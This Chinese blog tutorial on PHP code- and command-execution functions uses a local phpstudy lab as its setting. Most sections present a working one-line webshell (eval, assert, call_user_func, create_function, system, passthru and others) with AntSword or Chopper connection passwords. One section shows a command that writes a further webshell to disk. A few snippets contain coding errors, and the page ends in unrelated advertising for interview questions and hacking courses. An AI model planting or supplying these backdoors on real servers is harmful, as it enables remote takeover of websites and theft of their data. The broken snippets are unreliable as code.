代码执行函数:
前提准备:火狐插件 Quantum Hackbar (或者hackbar) phpstudy
首先打开phpstudy 在phpstudy 下的www目录中创建一个1.php文件,接下来的实验均在1.php中进行。
注意:php代码中函数前加@意味着他会屏蔽掉出错信息,而不报错,避免通过错误回显来推测数据库结构,对其进行攻击。
1. eval()
命令执行:cmd=system(ipconfig);
蚁剑连接密码:cmd
注意:eval要以分号结尾 传入的参数必须为php代码
<?php @eval($_POST['cmd']);?>
GET和POST传参的区别
这里用的是POST型传参 POST型传参通过request body 传参 而GET型传参把参数包含在url中
可以使用
标签来使结果规范化
<?php
echo "<pre>";
echo eval($_POST["cmd"]);
echo "</pre>";
?>
2. assert()
命令执行:cmd=system(whoami)
菜刀连接密码:cmd
<?php @assert($_POST['cmd']);?>
3. call_user_func()
传入的参数作为assert函数的参数
命令执行:cmd=system(whoami)
蚁剑连接密码:cmd
<?php call_user_func("assert",$_POST['cmd']); ?>
这里的 assert 是被调用的回调函数,其余为回调函数的参数。
<?php
call_user_func($_POST["dys"],$_POST["add"]);
?>
这里dys=assert; add=phpinfo();
4. create_function()
创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
第一个变量表示定义一个函数变量部分 第二个变量表示执行的代码部分
5. array_map()
array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
<?php
$func=$_GET['dys'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($dys,$array);
echo $new_array;
?>
这个函数作用是为数组每个元素应用回调函数。
6. call_user_func_array()
将传入的参数作为数组的第一个值传递给assert函数
cmd=system(phpinfo();)
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
7. array_filter()
array_filter — 使用回调函数过滤数组的元素
<?php
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['dys'];
array_filter($array1,$func);
?>
命令执行:cmd=whoami dys=system
8. uasort()函数
uasort () 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果成功则返回 TRUE,否则返回 FALSE。
<?php
uasort($_GET,'asse'.'rt');
?>
9. preg_replace()
preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");
命令执行函数:
1. system()
蚁剑连接密码:cmd
<?php
echo "<pre>";
system($_POST["cmd"]);
?>
在POST命令框输入cmd=ipconfig 即可在页面出现信息
还可以用echo写入一句话木马,来进行连接
cmd=echo “<?php @eval($\_POST['dys']);?>” >> dys.php
2. passthru()
passthru — 执行外部程序并且显示原始输出
蚁剑连接密码:cmd
<?php
@passthru($_POST['cmd']);
?>
cmd=ipconfig 即可显示信息
3. exec()
这个函数有点特殊,他只输出最后一行
并且他的输出需要自己打印。(即用echo打印出来)
蚁剑连接密码:cmd
<?php
echo "<pre>"
echo exec($_POST['cmd']);
echo "</pre>"
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
**找作者获取【vip204888】**
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)